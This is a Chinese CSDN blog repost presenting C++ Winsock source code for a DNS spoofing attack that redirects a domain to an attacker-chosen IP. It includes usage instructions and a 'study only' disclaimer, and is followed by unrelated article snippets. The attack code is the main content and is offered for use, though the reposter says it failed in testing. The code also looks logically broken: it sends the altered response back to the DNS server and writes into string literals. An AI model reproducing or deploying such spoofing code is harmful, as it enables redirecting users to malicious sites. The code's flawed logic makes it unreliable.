使用C++实现DNS欺骗攻击
文章为花钱购买转载,但我测试并未成功!!!
使用C++实现DNS欺骗攻击-CSDN博客
使用C++实现DNS欺骗攻击
DNS劫持是一种常见的网络攻击方式,通过篡改DNS响应数据,使得用户访问的网站被重定向到攻击者指定的恶意站点。本文将介绍如何使用C++编写一个简单的DNS欺骗程序,并给出相应的源代码。
DNS欺骗原理
在DNS查询过程中,当客户端向DNS服务器请求解析某个域名时,DNS服务器会返回该域名对应的IP地址。攻击者可以伪造DNS响应数据,使得客户端获取到错误的IP地址,从而将其重定向到指定的网站上。
实现代码
我们使用C++编写一个简单的DNS欺骗程序,使得当客户端请求解析特定的域名时,我们可以将其重定向到指定的IP地址。具体的代码如下:
#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>#pragma comment(lib, "ws2_32.lib")#define DNS_PORT 53
#define BUF_SIZE 512// DNS头部
typedef struct _DNS_HEADER {unsigned short id;unsigned short flags;unsigned short qcount;unsigned short acount;unsigned short nscount;unsigned short arcount;
} DNS_HEADER, *PDNS_HEADER;// 域名格式化函数
void format_domain_name(char* src, char* dst)
{int i, j = 0;strcat(src, ".");for (i = 0; i < strlen(src); ++i) {if (src[i] == '.') {*dst++ = i - j;for (; j < i; ++j) {*dst++ = src[j];}j++;}}*dst++ = '\0';
}// DNS查询
int dns_query(char* domain_name, char* dns_server_ip, char* fake_ip)
{WSADATA wsaData;int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);if (ret != 0) {std::cout << "WSAStartup failed: " << ret << std::endl;return -1;}// 创建socketSOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (sock == INVALID_SOCKET) {std::cout << "Create socket failed: " << WSAGetLastError() << std::endl;return -1;}// DNS服务器地址sockaddr_in dns_addr;memset(&dns_addr, 0, sizeof(sockaddr_in));dns_addr.sin_family = AF_INET;dns_addr.sin_port = htons(DNS_PORT);inet_pton(AF_INET, dns_server_ip, &dns_addr.sin_addr.s_addr);// 构造DNS查询报文char buf[BUF_SIZE];memset(buf, 0, BUF_SIZE);DNS_HEADER* dns_header = (DNS_HEADER*)buf;dns_header->id = (unsigned short)GetTickCount();dns_header->flags = htons(0x0100);dns_header->qcount = htons(1);char* query = (char*)(dns_header + 1);format_domain_name(domain_name, query);unsigned short* qtype = (unsigned short*)(query + strlen((const char*)query) + 1);*qtype = htons(0x0001);unsigned short* qclass = (unsigned short*)(qtype + 1);*qclass = htons(0x0001);// 发送DNS查询ret = sendto(sock, buf, sizeof(DNS_HEADER) + strlen((const char*)query) + 5,0, (sockaddr*)&dns_addr, sizeof(dns_addr));if (ret == SOCKET_ERROR) {std::cout << "Send DNS query failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}// 接收DNS响应sockaddr_in from_addr;int from_len = sizeof(from_addr);ret = recvfrom(sock, buf, BUF_SIZE, 0, (sockaddr*)&from_addr, &from_len);if (ret == SOCKET_ERROR) {std::cout << "Receive DNS response failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}// 修改DNS响应DNS_HEADER* rsp_header = (DNS_HEADER*)buf;unsigned short answer_count = ntohs(rsp_header->acount);char* ptr = (char*)(rsp_header + 1);bool found = false;for (int i = 0; i < answer_count; ++i) {if (*ptr == 0xC0 && *(ptr + 2) == 0x01) {found = true;break;}ptr++;}if (found) {// 修改IP地址unsigned short* type = (unsigned short*)(ptr + 1);unsigned short* class_ = (unsigned short*)(type + 1);unsigned int* ttl = (unsigned int*)(class_ + 1);unsigned short* data_len = (unsigned short*)(ttl + 1);unsigned int* ip = (unsigned int*)(data_len + 1);*ip = inet_addr(fake_ip);} else {// 添加一个新的DNS响应char* new_rsp = ptr;format_domain_name("www.example.com", new_rsp);unsigned short* new_type = (unsigned short*)(new_rsp + strlen((const char*)new_rsp) + 1);*new_type = htons(0x0001);unsigned short* new_class_ = (unsigned short*)(new_type + 1);*new_class_ = htons(0x0001);unsigned int* new_ttl = (unsigned int*)(new_class_ + 1);*new_ttl = htonl(300);unsigned short* new_data_len = (unsigned short*)(new_ttl + 1);*new_data_len = htons(4);unsigned int* new_ip = (unsigned int*)(new_data_len + 1);*new_ip = inet_addr(fake_ip);rsp_header->acount = ntohs(answer_count + 1);}// 发送修改后的DNS响应ret = sendto(sock, buf, ret, 0, (sockaddr*)&from_addr, from_len);if (ret == SOCKET_ERROR) {std::cout << "Send modified DNS response failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}std::cout << "DNS query sent and response modified." << std::endl;closesocket(sock);WSACleanup();return 0;
}int main()
{// 使用192.168.1.1代替实际的DNS服务器IPdns_query("www.example.com", "192.168.1.1", "1.2.3.4");return 0;
}
使用方法
在DNS查询时,调用dns_query函数并传入相应的参数即可实现DNS欺骗攻击。其中,domain_name表示需要欺骗的域名,dns_server_ip表示实际DNS服务器的IP地址,fake_ip表示需要重定向到的IP地址。
注意事项
本文仅提供学习和研究使用,请勿用于非法用途。在实际应用中,还需要考虑更加复杂的攻击方式和防御措施。
相关文章:
使用C++实现DNS欺骗攻击
文章为花钱购买转载,但我测试并未成功!!! 使用C实现DNS欺骗攻击-CSDN博客 使用C实现DNS欺骗攻击 DNS劫持是一种常见的网络攻击方式,通过篡改DNS响应数据,使得用户访问的网站被重定向到攻击者指定的恶意站…...
C#WPF属性元素语法应用实例
本文介绍C#WPF属性元素语法应用实例 一、属性元素语法 对于对象元素的某些属性,无法使用特性语法(比如:Background="Blue"),因为无法在特性语法的引号和字符串限制内充分地表达提供属性值所必需的对象或信息。 对于这些情况,可以使用另一个语法,即属性元素语…...
el-select应用虚拟列表,避免过多数据导致浏览器卡死
el-select: element-ui组件中的select下拉选择组件,支持单选、多选等 虚拟列表: 虚拟列表是一种优化技术,用于处理大型列表。在传统的列表中,当用户滚动到底部时,列表会加载所有的数据,这可能导…...
ES6之函数的扩展
函数的扩展 文章目录 函数的扩展1:与解构赋值默认值结合使用2:参数默认值空对象2.1 案例一2.2 案例二2.3 案例三2.4 案例四 3:undefined null参数默认值的区别4:函数length5:作用域5.1 全局变量5.2:局部变量…...
【PPT制作】基础篇
文章目录 一、PPT制作必要的基础设置1.1 自动保存1.2 字体嵌入1.3 撤销步数1.4 图像大小和质量 二、必备快捷键三、设计四原则四、总结 ヾ(๑╹◡╹)ノ" 没有坚持的努力,本质上并没有多大意义ヾ(๑╹◡╹)ノ" 一、PPT制作必要的基础…...
尚硅谷CSS学习笔记
什么是css css(层叠样式表) 它是一种标记语言,用于给HTML结构设置样式。简单理解css可以美化html,实现结构与样式的分离。 <link rel"shortcut icon" href"favicon.ico" type"image/x-icon"&g…...
MYSQL的日志管理
MySQL中有几种类型的日志记录,分别用于记录不同的操作和事件。以下是MySQL中常见的日志类型 错误日志 错误日志是 MySQL 中最重要的日志之一,它记录了当 mysqld 启动和停止时,以及服务器在运行过程中发生任何严重错误时的相关信息。当数据…...
微信小程序在TS模板下引入TDesign组件
介绍 TDesign 是腾讯官方出品的一款微信小程序组件库。本文介绍如何在新建ts空白模板下引入TDesign库 步骤 新建一个空白项目,这里可以选择TS-基础模板 新建项目目录结构如图所示: 注意这里其实小程序的文件都存放在miniprogram文件夹下,…...
alsa pcm接口之pcm设备的状态STATE
应用和库之间的协作: ALSA pcm api设计使用状态来确定应用程序和库之间的通信阶段,实际的状态可以被决定通过使用snd_pcm_state调用,下面列举出来状态: SND_PCM_STATE_OPEN: 表示pcm设备被打开的状态,使用了snd_pcm_open()之后进入该状态,并且让snd_pcm_hw_params()调用失败后,…...
【UE】在游戏运行时,通过选择uasset来生成静态网格体
目录 主要流程 步骤 一、创建用于包含静态网格体的Actor蓝图 二、按钮点击事件 效果 主要流程 用户点击按钮后产生一个文件对话框,用户通过文件对话框选择指定的文件夹,我们获取到这个文件夹路径后处理成“按路径获取资产”节点所需的输入&#x…...
vue中PC端使用高德地图 -- 实现搜索定位、地址标记、弹窗显示定位详情
PC端高德地图使用步骤: 1、注册并登录高德开放平台获取 2、安装高德依赖(amap-jsapi-loader) 3、初始化地图 4、首次打开地图获取当前定位并标记 5、根据已有地址自动定位到指定地址并标记 6、新增、清除标记及自定义信息窗体 7、鼠标点击地…...
服务器数据恢复-DS5300存储raid5硬盘出现坏道离线的数据恢复案例
服务器数据恢复环境: 某单位一台DS5300存储,1个主机4个扩展柜,组建了2组RAID5(一组27块硬盘,一组23块盘)。27块盘的那组RAID5阵列存放Oracle数据库文件,存储系统一共分了11个卷。 服务器故障&a…...
K8S存储总结持久化存储解决方案(以NFS为例)
目录 K8S存储 一、emptydir 1. emptydir是什么 2. emptydir例子 二、hostpath hostpath 是什么 hostpath 例子 弊端 三、持久化存储 1.Persistent Volume(PV) 2.Persistent Volume Claim(PVC) 3.PV/PVC结合NFS使用实践(持久存储) 1. NFS服务…...
vue3+ts项目02-安装eslint、prettier和sass
创建项目 项目创建 安装eslint yarn add eslint -D生成配置文件 npx eslint --init安装其他插件 yarn add -D eslint-plugin-import eslint-plugin-vue eslint-plugin-node eslint-plugin-prettier eslint-config-prettier eslint-plugin-node babel/eslint-parser vue-e…...
sface人脸相似度检测
sface人脸相似度检测,基于OPENCV,人脸检测采用yunet,人脸识别采用sface,支持PYTHON/C开发,图片来自网络,侵权请联系本人立即删除 yunet人脸检测sface人脸识别,检测两张图片的人脸相似度...
设计模式 - 行为型模式考点篇:模板方法模式(概念 | 案例实现 | 优缺点 | 使用场景)
目录 一、行为型模式 1.1、模板方法模式 1.1.1、概念 1.1.2、案例实现 1.1.3、优缺点 1.1.4、使用场景 一、行为型模式 一句话概括行为型模式 行为型模式:类或对象间如何交互、如何划分职责,从而更好的完成任务. 1.1、模板方法模式 1.1.1、概念 …...
因为计算机中找不到mfc140.dll无法启动修复步骤分享
mfc140.dll是Microsoft Foundation Class Library(微软基础类库)的一个组件,它是许多Windows应用程序(尤其是使用MFC编写的程序)所必需的动态链接库。MFC(Microsoft Foundation Classes)是一个用…...
【Python基础-Pandas】解决Pandas会自动把None转成NaN的问题
1. 背景 目前dataframe中的数据如下,power字段表示功率值,第一个值为20.0,第二个值为None。需要计算电量值,电量 功率 * 0.25,并保存到energy字段中,如果功率值为None,则电量值也为None。 pow…...
学习记忆——数学篇——案例——代数——方程——一元二次方程
重点记忆法 a x 2 b x c 0 ax^2bxc0 ax2bxc0 整体可以由: 根(多少,正负,区间) ⟹ \Longrightarrow ⟹ △ △ △ ⟹ \Longrightarrow ⟹ 求根公式 x 1 , 2 x_{1,2} x1,2 − b △ 2 a \frac{-b\sqrt{△}}{2a} 2…...
接口测试及常用接口测试工具
首先,什么是接口呢? 接口一般来说有两种,一种是程序内部的接口,一种是系统对外的接口。 系统对外的接口:比如你要从别的网站或服务器上获取资源或信息,别人肯定不会把数据库共享给你,他只能给你…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
RocketMQ延迟消息机制
两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数,对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
【论文笔记】若干矿井粉尘检测算法概述
总的来说,传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度,通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
图表类系列各种样式PPT模版分享
图标图表系列PPT模版,柱状图PPT模版,线状图PPT模版,折线图PPT模版,饼状图PPT模版,雷达图PPT模版,树状图PPT模版 图表类系列各种样式PPT模版分享:图表系列PPT模板https://pan.quark.cn/s/20d40aa…...
